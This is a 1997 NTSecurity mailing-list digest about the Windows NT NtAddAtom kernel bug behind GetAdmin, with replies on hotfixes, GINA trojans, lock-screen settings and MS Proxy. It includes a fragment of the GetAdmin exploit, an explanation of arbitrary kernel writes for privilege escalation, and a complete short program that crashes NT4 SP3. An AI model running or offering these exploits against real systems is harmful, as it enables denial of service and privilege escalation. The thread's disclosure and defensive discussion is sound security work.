 mov eax, callnumber;
 mov edx, stack;
 lea edx,dword ptr [stack];
 int 0x2e;
 }

 if( stack[1] == pNtGlobalFlag+1) break;
 }


 return TRUE;
}

Bug is that subfunction in NtAddAtom not checks address of output . So 
possible to write in any space of kernel memory. Of curse it not necessary 
inject dll to
winlogon, to get admin rights you can simply patch same place of ntoskernel 
, or replace process token and e.t.c.If you have get full source code 
please click here.

Preventing the Attack:

 Only one really way : patch ntoskernel and replace function NtAddAtom 
so it checks for valid address.
 You can remove all access from ntoskernel but it possible to enter 
fixed address of NtGlobalFlag in getadmin. And exist other ways to get 
administrator rights if you
can write to kernel memory.

 I informed Microsoft about this 30 Jun 97.

Konstantin Sobolev.
Todd wrote:
> >This logic is missing in NtAddAtom. From the looks of things, it's also
> >missing from NtFindAtom. This is really a variation on the theme of NtCrash.
> > It's a little surprising that Microsoft didn't fully learn the lesson...


Hi everyone,


Here's a small program able to crash a WindowsNT machine using
the bug in NtAddAtom. Just a variation of NTCRASH.

However I have one question: why does getadmin open ntoskrnl.exe
to find the address of NtAddAtom ? Using EAX=3/INT2F is "portable"
and does not require any +r access to ntoskrnl.exe 

NOTE: The location of memory overwritten by the kernel is
stored in the "a" array. In this exploit the kernel does
a write operation to FFFFFFFF - instant crash.
(at least on my machine)

BTW: This program is for academic and learning purposes.
No criminal intention at all.

---------------------------------------------------
/*

A program to bring the BSOD using the bug in NtAddAtom. Works with SP3.
Author: Costin RAIU, 
Compile with VC++

*/

void *a[2];

void main(void){
 int i;
 for (i=0;i<2;i++) a[i]=(void*)(0xffffffffL);

 _asm
 {
 mov eax,3
 mov edx,offset a
 int 02eh
 }

}
----------------------------------------------------
bye,
c0s

Costin RAIU, Data Security Expert

E-MAIL : BUSINESS mailto:craiu@gecad.ro, PERSONAL craiu@usa.net
PGP Key : http://www.gecad.ro/~craiu/craiu.asc (or search www.pgp.com)
KeyID : 2048/DD35A295 Costin RAIU 
Key fingerprint = FD 14 2A 90 64 41 58 9A 6B 34 47 D8 C5 E2 F4 5C


That brings up a question we have had for a while now. MS says to train 
all users to *always* hit Cntl-Alt-Del to login. This is to prevent 
trojan horse password stealing programs. The 3-finger salute kills 
anything else running and presents a login screen that you can be sure 
of. Okay, so we dutifully hit C-A-D and we get the Novell GINA. So, how 
is the IntraNetWare Client not a trojan horse? It presents whatever face 
you tell it to (it *could* look like the NT screen), it takes your 
password and does what it wants with it (it *could* e-mail it to J. 
Random Cracker), then passes it on to NT to log you on, so you never 
suspect a thing. If Novell can plug into the gina, what is to stop anyone 
else from doing it? How is this more secure than *not* telling users to 
use the sequence they have learned for stopping things to now always 
start things? Just curious

 -----Original Message-----
From: DOttenheimer@rad-eng-po.radiology.uiowa.edu 
[SMTP:DOttenheimer@rad-eng-po.radiology.uiowa.edu]
Sent: Tuesday, July 08, 1997 10:15 AM
To: 'ntsecurity@iss.net'; Boyd Bob
Subject: Re: [NTSEC] DOMAIN (Legal Notice before Logon)

 The IntraNetware client for NT replaces the GINA with a BMP (which 
can
 be specified from the Network Control Panel). The docs, with the new 

 client, says any picture can be inserted into NT's GINA. I've just
 been playing with it and replaced it with a warning.
 

 Davi
 

 davi-ottenheimer@uiowa.edu
 



______________________________ Reply Separator 
_________________________________
Subject: [NTSEC] DOMAIN (Legal Notice before Logon)
Author: "Boyd Bob" at internet
Date: 7/8/97 8:24 AM

 -------------------------------------------------------------------------- 
 ------
I know that workstations can display a message box with the caption and
text entered. Since my users logon directly to the Domain can such a
message be displayed at the PDC at logon? If so can anyone give me any
pointers setting up this "Legal Notice Before Log On"?
 

 

Thanks,
Bob Boyd
 

Information Security Officer
Kentucky Revenue Cabinet
Office (502)564-5200 X4492
Fax (502)564-9896
e-mail BBoyd@ mail.state.ky.us 
Hi All,

I'm running mainly a NT domain but I have a couple of Win95 machines that's
sitting around. I wonder how dangerous it is to hook up those machines
directly to the net? There is nothing of value on the machines but do I
compromise my domain and/or other domains by doing it?

TIA,

Jonas Fornander -> support@netwood.net
System Administrator -> I think therefore I RAM
Netwood Communications -> http://www.netwood.net


At 19:51 7/8/97 +0300, Costin RAIU wrote:

>Here's a small program able to crash a WindowsNT machine using
>the bug in NtAddAtom. Just a variation of NTCRASH.

So now you can become admin _and_ crash it?

>However I have one question: why does getadmin open ntoskrnl.exe
>to find the address of NtAddAtom ? Using EAX=3/INT2F is "portable"
>and does not require any +r access to ntoskrnl.exe 

He's not just looking for NtAddAtom - I think he also has to find NtGlobalFlag.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |


GetAdmin HOTFIX is ready for DL. Here's the KB article.Mark (http://www.ntse
curity.netftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/h
otfixes-postSP3/getadmin-fixDOCUMENT:Q146965
TITLE :GetAdmin Utility Grants Users Administrative Rights
PRODUCT :Microsoft Windows NT
PROD/VER:4.00 with SP3
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kbfile kbfix4.00 kbnetwork nt32ap ntsecurity NTSrvWkst

--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation version 4.0 Service Pack 3
 - Microsoft Windows NT Server version 4.0 Service Pack 3
--------------------------------------------------------------------------

SYMPTOMS
========

A utility, Getadmin.exe, is being circulated on the Internet that grants
normal
users administrative rights by adding them to the Administrators group.
This
utility can be run from any user context except Guest and grants a local
user
account administrative rights.

CAUSE
=====

This problem occurs because of a problem in a low-level kernel routine
that
causes a global flag to be set which allows calls to NtOpenProcessToken to
succeed regardless of the current users permissions. This in turn allows
user
accounts to be granted administrative rights.

This problem only occurs on Windows NT 4.0 with Service Pack 3 installed.

RESOLUTION
==========

A fix has been developed by Microsoft which prevents this application from
granting administrative status to users. To resolve this problem, obtain
the
hotfix below, or wait for the next service pack.

NOTE: Service Pack 3 must be applied to Windows NT 4.0 prior to applying
this fix.

This hotfix has been posted to the following Internet location:

 ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/
 hotfixes-postSP3/getadmin-fix

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

MORE INFORMATION
================

Getadmin.exe must be executed locally and works for accounts on a
workstation or member server and for domain accounts on a primary domain
controller (PDC). The utility does not function on a backup domain
controller (BDC) because the account database on a BDC is read only. The
only way to use GetAdmin to modify a domain account database is to log on
to a primary domain controller and run the utility locally on the PDC.

Additional query words: 4.00 prodnt security hole breach

============================================================================


THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.

Does anyone else have problems w/ NTW and the resource kit, mainly the
desktop themes?
Sorry for an off topic question, but this is an NT listserv. 
Thanks
-- 
Casey Roberts
casey@amaonline.com
http://wtcis-web.wtamu.edu/casey
 ...---===---...
We all live in an endless subroutine...
>> __asm{
>> mov eax, callnumber;
>> mov edx, stack;
>> lea edx,dword ptr [stack];
>> int 0x2e;
>> }

Well, this definitely won't compile on an Alpha. I wonder how FX!32
would handle it.

I presume the Alpha equivalent would do just as much damage.

PJDM
----
Peter Mayne
Digital Equipment Corporation (Australia),
Canberra, ACT
These are my opinions, not DEC's.
This was typed by an infinite number of monkeys.
>
On 8 Jul 97 at 12:57, SanMillan, Todd wrote:

> 
> That brings up a question we have had for a while now. MS says to
> train all users to *always* hit Cntl-Alt-Del to login. This is to
> prevent trojan horse password stealing programs. The 3-finger
> salute kills anything else running 

Of course it does not. Services are running all the time, for instance.
You can even have a command prompt (for instance with the system 
account) running when nobody is logged on, and if the next one logs 
on, it is still there ;-)


> If Novell can plug into the gina, what is to stop anyone 
> else from doing it? 

It is said that on a secure system you must have admin rights to 
install such a thing ;-)


> How is this more secure than *not* telling
> users to use the sequence they have learned for stopping things to
> now always start things? 

Writing a trojan is a *little* bit more harder with the CAD key, but 
of course not impossible.


Greetings

Frank Heyne
http://rcswww.urz.tu-dresden.de/~fh/
David LeBlanc wrote:
> 
> 
> >However I have one question: why does getadmin open ntoskrnl.exe
> >to find the address of NtAddAtom ? Using EAX=3/INT2F is "portable"
> >and does not require any +r access to ntoskrnl.exe
> 
> He's not just looking for NtAddAtom - I think he also has to find NtGlobalFlag.
> 
Yes, this is the correct answer. However, as pointed out in the source
of getadmin,
with a little bit of portability loss, you can count on a fixed address
for
NtGlobalFlag. 

bye,
c0s

Costin RAIU, Data Security Expert

E-MAIL : BUSINESS mailto:craiu@gecad.ro, PERSONAL craiu@usa.net
PGP Key : http://www.gecad.ro/~craiu/craiu.asc (or search www.pgp.com)
KeyID : 2048/DD35A295 Costin RAIU 
Key fingerprint = FD 14 2A 90 64 41 58 9A 6B 34 47 D8 C5 E2 F4 5C
Please disregard this message.

Ronald Golden
rgolden@akamail.com

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzMBGQcAAAEEAPaV49Ge3Y4nQFn3rDrafDR8iy1SjDM49Sdtc2pg3+X06mG5
cxQbYhBMmLTGsAIYGOrCs0zd5XEE4ny6AxYhId0b/SxcX8dcs8sHr9q1vW14sWo8
wMyF6JkafJvVvusRXQi7jrBu9obPYbeR9zwJOHAZiC4YByHvzvnfcgvl/rYlAAUR
tCZSb25hbGQgUy4gR29sZGVuIDxyZ29sZGVuQGFrYW1haWwuY29tPg==
=qRI0
-----END PGP PUBLIC KEY BLOCK-----

Please disregard this message.

Ronald Golden
rgolden@akamail.com

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzMBGQcAAAEEAPaV49Ge3Y4nQFn3rDrafDR8iy1SjDM49Sdtc2pg3+X06mG5
cxQbYhBMmLTGsAIYGOrCs0zd5XEE4ny6AxYhId0b/SxcX8dcs8sHr9q1vW14sWo8
wMyF6JkafJvVvusRXQi7jrBu9obPYbeR9zwJOHAZiC4YByHvzvnfcgvl/rYlAAUR
tCZSb25hbGQgUy4gR29sZGVuIDxyZ29sZGVuQGFrYW1haWwuY29tPg==
=qRI0
-----END PGP PUBLIC KEY BLOCK-----

 Please disregard this message.

Ronald Golden
rgolden@akamail.com

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzMBGQcAAAEEAPaV49Ge3Y4nQFn3rDrafDR8iy1SjDM49Sdtc2pg3+X06mG5
cxQbYhBMmLTGsAIYGOrCs0zd5XEE4ny6AxYhId0b/SxcX8dcs8sHr9q1vW14sWo8
wMyF6JkafJvVvusRXQi7jrBu9obPYbeR9zwJOHAZiC4YByHvzvnfcgvl/rYlAAUR
tCZSb25hbGQgUy4gR29sZGVuIDxyZ29sZGVuQGFrYW1haWwuY29tPg==
=qRI0
-----END PGP PUBLIC KEY BLOCK-----



Is there a tool out there that allows to test for vulnerabilities that
exist besides tcp/ip connected sites, like say the possibility that
someone has some terminal emulation program and connects through a
modem?

Thanks,
Boris
 Please disregard this message.

Ronald Golden
rgolden@akamail.com

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzMBGQcAAAEEAPaV49Ge3Y4nQFn3rDrafDR8iy1SjDM49Sdtc2pg3+X06mG5
cxQbYhBMmLTGsAIYGOrCs0zd5XEE4ny6AxYhId0b/SxcX8dcs8sHr9q1vW14sWo8
wMyF6JkafJvVvusRXQi7jrBu9obPYbeR9zwJOHAZiC4YByHvzvnfcgvl/rYlAAUR
tCZSb25hbGQgUy4gR29sZGVuIDxyZ29sZGVuQGFrYW1haWwuY29tPg==
=qRI0
-----END PGP PUBLIC KEY BLOCK-----



On Wed, 9 Jul 1997, Peter Mayne wrote:

> >> __asm{
> >> mov eax, callnumber;
> >> mov edx, stack;
> >> lea edx,dword ptr [stack];
> >> int 0x2e;
> >> }
> 
> Well, this definitely won't compile on an Alpha. I wonder how FX!32
> would handle it.

 On Intel platfrom 'int 2e' is used for NT system calls - what
would it be on Alpha? I think it still can be exploted but
unfortunately I have no Alpha at hand to look at how NT syscalls
are done on it. 

 Anyone?

VZ

A question that I can not seem to find an answer to is this...

When locking a workstation, the username is displayed in the dialog box.
 This being boldly displayed why the user is away does not make sense to
me. but sense when did Microsoft want to make sense. 

I can not find a hack to disable or at least display a bogus name.

Any suggestions?
Thanks,
Chad Wilson
Team Lead Houston SPOC
CITC - Helpdesk SPG & C&TSD
1-800-433-8765 Opt.1/Opt.2
(Phone (281) 596-2134 6Fax (281) 596-3178
3Pager (713) 833-4656 -wchd@chevron.com
In complete darkness we are all the same,
it is only our knowledge and wisdom separate us,
Don't let your eyes deceive you!

Add a registry key named DontDisplayLastUserName, Value=1 under
SOFTWARE\Microsoft\Windows NT\Current Version\Winlogon.

>-----Original Message-----
>From: Wilson, Chad (wchd) [SMTP:wchd@chevron.com]
>Sent: Wednesday, July 09, 1997 9:31 AM
>To: 'ntsecurity@iss.net'
>Cc: 'Chris Cull'
>Subject: [NTSEC] Give away security
>
>A question that I can not seem to find an answer to is this...
>
>When locking a workstation, the username is displayed in the dialog box.
> This being boldly displayed why the user is away does not make sense to
>me. but sense when did Microsoft want to make sense. 
>
>I can not find a hack to disable or at least display a bogus name.
>
>Any suggestions?
>Thanks,
>Chad Wilson
>Team Lead Houston SPOC
>CITC - Helpdesk SPG & C&TSD
>1-800-433-8765 Opt.1/Opt.2
>(Phone (281) 596-2134 6Fax (281) 596-3178
>3Pager (713) 833-4656 -wchd@chevron.com
>In complete darkness we are all the same,
>it is only our knowledge and wisdom separate us,
>Don't let your eyes deceive you!
>
For what it is worth - This also seems to work on NT 4.0 server with 
no service packs installed.

Jeff Davis
Lucent Technologies




CAUSE
=====

This problem occurs because of a problem in a low-level kernel 
routine
that
causes a global flag to be set which allows calls to 
NtOpenProcessToken to
succeed regardless of the current users permissions. This in turn 
allows
user
accounts to be granted administrative rights.

This problem only occurs on Windows NT 4.0 with Service Pack 3 
installed.



Windows 95 is a very simple os, si there are very few possibilities to hack it from the net, as long as I know (local security is just the opposite). One of them is the same problem that NT had with OOB. There is already a fix for that. Another was a problem with SMB connections, and there is another fix for this. Also, if you filter the connections on ports 137, 138 and 139 in NT you should do the same with Windows 95.

So if you apply all the fixes for Windows 95 and filter the SMB connections there is not much to worry about.

Alvaro.

----------
From: Jonas Fornander[SMTP:jonas@netwood.net]
Sent: martes 8 de julio de 1997 21:01
To: NTSecurity
Subject: [NTSEC] Win95 on the net

Hi All,

I'm running mainly a NT domain but I have a couple of Win95 machines that's
sitting around. I wonder how dangerous it is to hook up those machines
directly to the net? There is nothing of value on the machines but do I
compromise my domain and/or other domains by doing it?

TIA,

Jonas Fornander -> support@netwood.net
System Administrator -> I think therefore I RAM
Netwood Communications -> http://www.netwood.net




Download PowerToys from the MS web site. Install TWEAKUI. It has
checkbox options to clear last user at login, among about 50 other nice
additional features. Works with the GUI interface only, though, meaning
NT 4.0 or Win95. Don't know of an answer for NT 3.51, if that's what
you're using.

>-----Original Message-----
>From: Wilson, Chad (wchd) [SMTP:wchd@chevron.com]
>Sent: Wednesday, July 09, 1997 9:31 AM
>To: 'ntsecurity@iss.net'
>Cc: 'Chris Cull'
>Subject: [NTSEC] Give away security
>
>A question that I can not seem to find an answer to is this...
>
>When locking a workstation, the username is displayed in the dialog box.
> This being boldly displayed why the user is away does not make sense to
>me. but sense when did Microsoft want to make sense. 
>
>I can not find a hack to disable or at least display a bogus name.
>
>Any suggestions?
>Thanks,
>Chad Wilson
>Team Lead Houston SPOC
>CITC - Helpdesk SPG & C&TSD
>1-800-433-8765 Opt.1/Opt.2
>(Phone (281) 596-2134 6Fax (281) 596-3178
>3Pager (713) 833-4656 -wchd@chevron.com
>In complete darkness we are all the same,
>it is only our knowledge and wisdom separate us,
>Don't let your eyes deceive you!
>
I think that only works for the login prompt, not the workstation locked
message. I believe the reason for this is so that you can go find the
person who locked it.

At 09:42 7/9/97 -0400, Rouland, Christopher J wrote:
>Add a registry key named DontDisplayLastUserName, Value=1 under
>SOFTWARE\Microsoft\Windows NT\Current Version\Winlogon.
>
>>-----Original Message-----
>>From: Wilson, Chad (wchd) [SMTP:wchd@chevron.com]
>>Sent: Wednesday, July 09, 1997 9:31 AM
>>To: 'ntsecurity@iss.net'
>>Cc: 'Chris Cull'
>>Subject: [NTSEC] Give away security
>>
>>A question that I can not seem to find an answer to is this...
>>
>>When locking a workstation, the username is displayed in the dialog box.
>> This being boldly displayed why the user is away does not make sense to
>>me. but sense when did Microsoft want to make sense. 
>>
>>I can not find a hack to disable or at least display a bogus name.
>>
>>Any suggestions?
>>Thanks,
>>Chad Wilson
>>Team Lead Houston SPOC
>>CITC - Helpdesk SPG & C&TSD
>>1-800-433-8765 Opt.1/Opt.2
>>(Phone (281) 596-2134 6Fax (281) 596-3178
>>3Pager (713) 833-4656 -wchd@chevron.com
>>In complete darkness we are all the same,
>>it is only our knowledge and wisdom separate us,
>>Don't let your eyes deceive you!
>>
>
>
-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

> From: "Wilson, Chad \(wchd\)" 

> A question that I can not seem to find an answer to is this...
> 
> When locking a workstation, the username is displayed in the dialog box.
> This being boldly displayed why the user is away does not make sense to
> me. but sense when did Microsoft want to make sense. 
> 
> I can not find a hack to disable or at least display a bogus name.
> 
> Any suggestions?
>

At least under NT4.0, you can disable this in the System policy 
editor... under the WindowsNT System/Logon/Do Not Display last logon 
user name key... (obviously this translates to a Reg entry, probably 
in HKEY_LOCAL_MACHINE/Software/Microsoft/Windows 
NT/CurrentVersion/WinLogon, but I haven't investigated it yet...)

 
-----
Patrick Patterson
Senior Network Analyst
Canadian Network Security Service
I'll put specific answers down below. To start off it sounds like you
don't quite understand what precisely a proxy does. Extremely briefly:
A proxy is a service running on a machine that accepts requests and then
performs these requests on behalf of the other machine. The proxy
pretends to be the end machine in both requests. Illustration:

Network Layout:
---------------
The inside and outside nets are physically disconnected.
The proxy server does not forward or route packets.

Example of a "connection" from inside to http://www.iss.net:

Inside sends a request to proxy for http://www.iss.net
proxy responds to inside (inside thinks that proxy is www.iss.net)
proxy sends a request to www.iss.net for http://www.iss.net
www.iss.net responds to proxy (www.iss.net thinks proxy is the end user)
www.iss.net then sends the top page to proxy
proxy receives the top page from www.iss.net
proxy sends the top page to inside and the connection is closed

If you need a better, more thorough explanation I highly recommend two
books:
"Building Internet Firewalls" Chapman and Zwicky, ISBN 1-56592-124-0
"Firewalls and Internet Security" Cheswick and Bellovin, ISBN
0-201-63357-4

Onto your questions,

Chris

>-----Original Message-----
>From: The Man [SMTP:beazley@ix.netcom.com]
>Sent: Monday, July 07, 1997 3:36 PM
>To: 'ntsecurity@iss.net'
>Subject: [NTSEC] RE: MS Proxy Security (NAT or Router?)
>
>Bernhard,
>
>Thanks for the response. 
>
>Also to make sure that I maintain ISS protocol and only refer to security
>subjects
>when utilizing this list, the questions about MS Proxy are of concern due to
>potential
>exploitation of the product to spoof from the internal network. So.... Here
>are two 
>follow-up questions and points:
>
> Q1: If the MS Proxy product does not translate IP Addresses,
> then why is a Local Address Table (LAT) maintained or even 
> necessary? 
>
>[CP] The LAT table is used by MS Proxy to decide who is on the inside and
>who is on the outside. All of the addresses in the LAT are assumed to be
>inside.
>
>Q2: Does anyone really know what the potential security risks
> associated with MS Proxy are? If so, where are these risks 
> documented?
>
>[CP] Strictly speaking most of the vulnerabilities with MS Proxy are in the
>NT IP stack. At this point if anybody has uncovered any vulnerabilities in
>MS Proxy, they haven't shared them. Proxy servers are inherently fairly
>secure.
>
>P1: MS Proxy must interrogate the IP packets traversing the machine to 
> differentiate between an internal versus external destination, of
>course 
> if the target port is recognized. Otherwise information would not be 
> directed to and from the internal host targets. Hey this sounds like a
> router, and aren't routers by nature insecure? Sure it's task specific
>and
> secure to the assigned task, Right?
>
>[CP] There really isn't any inbound or outbound. The destination for all
>packets is the proxy server. For http the proxy server is both an http
>server and a client. It requests pages from the outside and then serves
>these pages to the inside. By the time the data gets to the proxy server the
>packets have been disassembled by the IP/TCP stack. The proxy remembers who
>requests a page and when it receives that page from the outside server it
>sends it to the requestor inside, but the proxy server does not operate at
>the packet level, it works at the application level.
>
>P: I suppose a dynamic socket to socket translation (internal<->external)
> operations on a well known port could be... Naaa ... that would make
> the process simple and the environment easier to administer. You Think?
>
>[CP] I'm not quite sure what you are getting at. MS Proxy, by default, does
>not have any externally accessible services at all. I just realized that you
>are probably referring or wondering to the RWS (Remote Windows Socket)
>services in MS Proxy. RWS is an entirely different ballgame. All of above
>information does only apply to the Proxy half of MS Proxy.
>
>As for RWS I am going to need to think more about that one. I know how RWS
>works in theory, but I have not dug very far into the specifics.
>
> Regards,
>
>RB
>OCNS, Inc.
>
>> Does anyone know if MS Proxy does Network Address Translation (NAT)? If not
> > out-of-the-box, then possibly an NT registry entry ..or two... or
>three.... 
> > (gotta be obscure)
>
>Being a proxy ... no, it does not do NAT.
>
>It will accept requests from a user's system and create a new connection
>to forward the request to the external world (or wherever). External
>systems will see the MS Proxy box as the originating IP address, not
>that of the user's machine.
>
>So:
>* MS Proxy (more correctly, *any* proxy) will hide internal addresses
>* but it does this not by using NAT techniques.
>
>\Bernhard.
>
>
I just tested the fix and gave myself a start - IF you test the patch by
trying to run getadmin _as_ an admin (which can normally gain debug rights),
getadmin still works. If you log in as an ordinary user, it doesn't.

Something that we should all remember is that we knew that the right to
debug processes was dangerous and should be controlled. However, what this
points out is that ANY user with debug rights can become an admin using this
tool.

Be VERY careful with who has debug rights - we knew it was dangerous before,
but now there is a handy-dandy, user-friendly interface to take advantage of it.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

This may seem like a config issue, but it has some serious security
ramifications here.

OK, Is there an easy way to administratively set all Domain Clients (on
a per-machine basis, not per-user) to use a screensaver, to make that
screensaver secure, To set a mandatory timeout, and not allow domain
users to change these settings.

I have figured out how to use policies to prevent users from changing
the settings, but I want to as a (systemwide policy), set the
screensaver, turn security on, and set a mandatory timeout. Do I have
to hand edit each workstation's registry or send out a .reg file or is
there an easier way.

Also as a slightly off topic question: 
Someone Please Correct me if I am wrong
HKEY_USERS\.DEFAULT\Control Panel\Desktop\SCRNSAVE.EXE
is for the machine when no one is logged on (logon screen)

HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE
is for me (the currently logged on user)

Where is this setting for ALL users, not just the currently logged on
or the default (new) users? (this is if no one has an answer to the
above question, I have to hand edit each wkstation's registry or send
out a .reg file)

Thanks in advance.
Jeff Absher
jeffab@xsite.net
I believe disabling via System Policy only applies in the initial logon 
sequence. Even if you could disable the name from appearing in the 
user name field of a locked workstation, it also appears in DOMAIN\User 
format above the username field to identify the logged on user --
something that makes a bit of sense in an environment where
a number of users use the machine or even for sysadmins that
should have a full rights logon and a limited logon. This appearance
might well be hard-coded into the NT security system unlike the 
name appearing in the username field which might have a reg
entry to control its appearance in a wkstn locked state.

If you have a policy that restricts the number of erroneous logon
attempts and you successfully lock yourself out, the real problem 
becomes that you can not unlock yourself at the domain level
in USRMGR (as with a many times failed initial logon). The lock
(and its duration, etc.) are *local*. Thus there is a good case
to be made for displaying the username in a locked workstation.

That's my 2 cents, FWIW.

David Stouse
Network Manager
Delstar Corporation - Houston

-----Original Message-----
From: Patrick Patterson [SMTP:cnss@accent.net]
Sent: Wednesday, 09 July, 1997 06:15
To: 'ntsecurity@iss.net'; Wilson, Chad (wchd)
Cc: 'Chris Cull'
Subject: Re: [NTSEC] Give away security

> From: "Wilson, Chad \(wchd\)" 

> A question that I can not seem to find an answer to is this...
> 
> When locking a workstation, the username is displayed in the dialog
box.
> This being boldly displayed why the user is away does not make sense
to
> me. but sense when did Microsoft want to make sense. 
> 
> I can not find a hack to disable or at least display a bogus name.
> 
> Any suggestions?
>

At least under NT4.0, you can disable this in the System policy 
editor... under the WindowsNT System/Logon/Do Not Display last logon 
user name key... (obviously this translates to a Reg entry, probably 
in HKEY_LOCAL_MACHINE/Software/Microsoft/Windows 
NT/CurrentVersion/WinLogon, but I haven't investigated it yet...)

 
-----
Patrick Patterson
Senior Network Analyst
Canadian Network Security Service
>
>Q2: Does anyone really know what the potential security risks
> associated with MS Proxy are? If so, where are these risks 
> documented?
>
>[CP] Strictly speaking most of the vulnerabilities with MS Proxy are in the
>NT IP stack. At this point if anybody has uncovered any vulnerabilities in
>MS Proxy, they haven't shared them. Proxy servers are inherently fairly
>secure.
>

The MsProxy server IS an NT machine, though and subject to the same security attacks and vulnerabilities as any other NT server. In fact, MSProxy is implemented on machines running other services at sites that either do not understand the implications of doing so or have very limited budgets and cannot have dedicated servers, so more than the firewall can be taken down if attacked in those settings.

Also, MSProxy does not need to be implemented as a firewall, and is used as a web caching performance tool, so we need to recognize that there may be security holes in LANs that have implemented MSProxy in alternative ways.

The themes is a problem with MS Office97. There is a file you can
download from the MS Site called ThemeFix.EXE that will correct the
problem, and make themes work again with your system.

Casey Roberts wrote:
> Does anyone else have problems w/ NTW and the resource kit, mainly the
> desktop themes?
> Sorry for an off topic question, but this is an NT listserv.
If you are not the person who locked the machine with a screen saver, but
an administrator, when you log on through the screen saver message screen,
that action kills the current user's process(es) and logs him/her off and
drops you at the original login condition (at least in NT 3.51 it does).
However, there is a short time interval where it is allegedly possible to
see what was running. The screen saver can be configured in control panel
if the user has rights to use CP.

[I suspect that David is right, it does identify the person who might be
running a job which does not require their presence full time. While that
might not be what you want for security purposes, it depends on how tight
you need to have that particular workstation.]
 
Phred 


. At 11:04 AM 7/9/97 -0400, you wrote:
>I think that only works for the login prompt, not the workstation locked
>message. I believe the reason for this is so that you can go find the
>person who locked it.
>

I was referring only to MS Proxy itself, but this brings up the other
side of the equation: common sense or lack thereof. 

Common sense starts with not using MS Proxy as a firewall. This may not
always be viable, small businesses are connecting to the net in droves.
I lobbied very hard with MS a year ago for them to add in the last few
features they would need to at least make MS Proxy usable as a bare
bones firewall a year ago when it first went into testing (MS Proxy 1.0
is really the third complete rewrite before they finally released it).

What's missing? At the absolute minimum is an SMTP gateway. I still
recommend EMWAC or several of the commercially viable SMTP servers
available.

Common sense also says that your firewall should be as barren as
functionally possible. All applications and services should be bare
bones and as verifiably secure as possible. MS recommends running
Exchange server on the proxy to handle SMTP traffic. Exchange is far
from minimal or verifiably secure.

Just before release, MS changed MS Proxy's default behavior so that it
would not even serve web pages to the outside. Bravo, that's at least a
step - you have to knowingly lower the security in order to serve up
pages to the outside.

To address the issue of very limited sites. A single server NT Internet
gateway is very doable, tested and stable (with the exception of NT bugs
like OOB and ICMP and IIS that inherently make it less stable, but not
less secure). I ran and tested the following setup for about 8 months:

NT 4 server w/ IIS
MS Proxy
EMWAC Internet Mail Service (http://www.emwac.ed.ac.uk)
MS DNS (built into NT)

When you strip it down is can be reasonably secure and very stable - the
machine ran non-stop for several months.

I can do the exact same thing with Linux, Apache, and Qmail. Both are
equally viable for small, dedicated sites that do not want to spend the
money on a COTS firewall. Setup time was longer on the Linux box, but
installation, setup, and tuning was still under 40 hours.

To finally get back around to your point: Are installations running
other software less secure because of MS Proxy, or because of the other
software that is running? My point is that you cannot fault the
security of proxy software just because somebody decided to load
Exchange on the same machine, or SMB or NFS shared the drives. These
are issues of installation and configuration that further drive home the
point that these are jobs that should be done by experienced
professionals or they should at least be brought in at critical points
to evaluate, test, and bless the system.

Chris

>-----Original Message-----
>From: Jan Nelson [SMTP:jnelson@narrows.com]
>Sent: Wednesday, July 09, 1997 12:03 PM
>To: Chris Pugrud; 'ntsecurity@iss.net'
>Subject: RE: [NTSEC] RE: MS Proxy Security (NAT or Router?)
>
>>
>>Q2: Does anyone really know what the potential security risks
>> associated with MS Proxy are? If so, where are these risks 
>> documented?
>>
>>[CP] Strictly speaking most of the vulnerabilities with MS Proxy are in the
>>NT IP stack. At this point if anybody has uncovered any vulnerabilities in
>>MS Proxy, they haven't shared them. Proxy servers are inherently fairly
>>secure.
>>
>
>The MsProxy server IS an NT machine, though and subject to the same security
>attacks and vulnerabilities as any other NT server. In fact, MSProxy is
>implemented on machines running other services at sites that either do not
>understand the implications of doing so or have very limited budgets and
>cannot have dedicated servers, so more than the firewall can be taken down if
>attacked in those settings.
>
>Also, MSProxy does not need to be implemented as a firewall, and is used as
>a web caching performance tool, so we need to recognize that there may be
>security holes in LANs that have implemented MSProxy in alternative ways.
